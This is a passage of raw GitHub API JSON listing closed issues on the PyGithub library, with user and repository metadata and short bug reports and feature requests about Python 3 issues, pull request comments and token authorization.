python3","user":{"login":"sebastianstigler","id":772197,"avatar_url":"https://secure.gravatar.com/avatar/c3249014be386ebc7e509c25260c8a8b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"c3249014be386ebc7e509c25260c8a8b","url":"https://api.github.com/users/sebastianstigler","html_url":"https://github.com/sebastianstigler","followers_url":"https://api.github.com/users/sebastianstigler/followers","following_url":"https://api.github.com/users/sebastianstigler/following{/other_user}","gists_url":"https://api.github.com/users/sebastianstigler/gists{/gist_id}","starred_url":"https://api.github.com/users/sebastianstigler/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sebastianstigler/subscriptions","organizations_url":"https://api.github.com/users/sebastianstigler/orgs","repos_url":"https://api.github.com/users/sebastianstigler/repos","events_url":"https://api.github.com/users/sebastianstigler/events{/privacy}","received_events_url":"https://api.github.com/users/sebastianstigler/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug","name":"Bug","color":"e10c02"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":null,"comments":6,"created_at":"2013-03-28T14:17:05Z","updated_at":"2013-03-28T19:33:19Z","closed_at":"2013-03-28T19:12:42Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"Hi, \r\nIm using PyGithub (1.13.0, installed with pip and pip-3.2) on Ubuntu 12.04 with python version 2.7.3 (there it works just fine) an version 3.2.3 where i get some issues\r\n\r\nI posted the testcase and the testouput for the run with python3 here:\thttps://gist.github.com/8efb393ddaefc614f225\r\n\r\nFYI: I ran the testsuite too(`python3 -m github.tests`). The result was \r\n \r\n Ran 319 tests in 1.630s\r\n\r\n OK\r\n\r\nCheers,\r\nSebastian"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/59","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/59/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/59/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/59/events","html_url":"https://github.com/jacquev6/PyGithub/issues/59","id":6353712,"number":59,"title":"No Comments returned for PullRequest","user":{"login":"nixoz2k7","id":1027413,"avatar_url":"https://secure.gravatar.com/avatar/2a16046c75f59710161ea486d1f5881d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2a16046c75f59710161ea486d1f5881d","url":"https://api.github.com/users/nixoz2k7","html_url":"https://github.com/nixoz2k7","followers_url":"https://api.github.com/users/nixoz2k7/followers","following_url":"https://api.github.com/users/nixoz2k7/following{/other_user}","gists_url":"https://api.github.com/users/nixoz2k7/gists{/gist_id}","starred_url":"https://api.github.com/users/nixoz2k7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nixoz2k7/subscriptions","organizations_url":"https://api.github.com/users/nixoz2k7/orgs","repos_url":"https://api.github.com/users/nixoz2k7/repos","events_url":"https://api.github.com/users/nixoz2k7/events{/privacy}","received_events_url":"https://api.github.com/users/nixoz2k7/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug","name":"Bug","color":"e10c02"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/10","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/10/labels","id":169989,"number":10,"title":"Version 1.6","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":9,"state":"closed","created_at":"2012-09-04T20:12:30Z","updated_at":"2012-09-08T18:00:28Z","due_on":"2012-09-13T07:00:00Z"},"comments":7,"created_at":"2012-08-21T15:33:36Z","updated_at":"2012-09-08T14:53:08Z","closed_at":"2012-09-08T13:20:03Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"Hello, here is the problem.\nNo Comments returned. But comments count showing proper value.\n\np = z.pulls[1]\np\nOUTPUT: \nOUTPUT: u'\\u041d\\u0435 \\u043f\\u0440\\u0438\\u043d\\u0438\\u043c\\u0430\\u0442\\u044c =)'\np.comments\nOUTPUT: 1\np.get_comments()\nOUTPUT: \nlist(p.get_comments())\nOUTPUT: []\n\nAny ideas ?\n"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/121","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/121/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/121/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/121/events","html_url":"https://github.com/jacquev6/PyGithub/issues/121","id":9323084,"number":121,"title":"Update AuthenticatedUser.get_repo to accept a full repo path","user":{"login":"lwc","id":336402,"avatar_url":"https://secure.gravatar.com/avatar/79df912986253edb50f9b077acd5acf9?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"79df912986253edb50f9b077acd5acf9","url":"https://api.github.com/users/lwc","html_url":"https://github.com/lwc","followers_url":"https://api.github.com/users/lwc/followers","following_url":"https://api.github.com/users/lwc/following{/other_user}","gists_url":"https://api.github.com/users/lwc/gists{/gist_id}","starred_url":"https://api.github.com/users/lwc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/lwc/subscriptions","organizations_url":"https://api.github.com/users/lwc/orgs","repos_url":"https://api.github.com/users/lwc/repos","events_url":"https://api.github.com/users/lwc/events{/privacy}","received_events_url":"https://api.github.com/users/lwc/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Functionalities","name":"Functionalities","color":"e102d8"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/16","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/16/labels","id":215570,"number":16,"title":"Version 1.10.0","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":10,"state":"closed","created_at":"2012-11-19T20:02:45Z","updated_at":"2012-12-25T12:25:01Z","due_on":null},"comments":8,"created_at":"2012-12-17T03:02:50Z","updated_at":"2012-12-22T02:00:55Z","closed_at":"2012-12-21T19:42:09Z","pull_request":{"html_url":"https://github.com/jacquev6/PyGithub/pull/121","diff_url":"https://github.com/jacquev6/PyGithub/pull/121.diff","patch_url":"https://github.com/jacquev6/PyGithub/pull/121.patch"},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"### Why?\r\n- For projects I dont own, but I am a collaborator, or for directly accessing organisation repos without needing to traverse user.get_orgs.\r\n\r\n### Example\r\n```python\r\nuser.get_repo(\"my_repo\") # existing behaviour still works\r\nuser.get_repo(\"my_org/repo\") # this is now possible\r\n```\r\n\r\n\r\nThanks,\r\nLuke Cawood"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/134","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/134/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/134/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/134/events","html_url":"https://github.com/jacquev6/PyGithub/issues/134","id":10379143,"number":134,"title":"Can't verify authorizations of token-authorized user","user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Functionalities","name":"Functionalities","color":"e102d8"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/19","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/19/labels","id":234630,"number":19,"title":"Version 1.11.0","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":7,"state":"closed","created_at":"2012-12-25T12:26:40Z","updated_at":"2013-02-07T18:18:31Z","due_on":"2013-02-08T08:00:00Z"},"comments":9,"created_at":"2013-01-28T15:33:19Z","updated_at":"2013-02-06T10:54:50Z","closed_at":"2013-02-05T23:07:06Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API 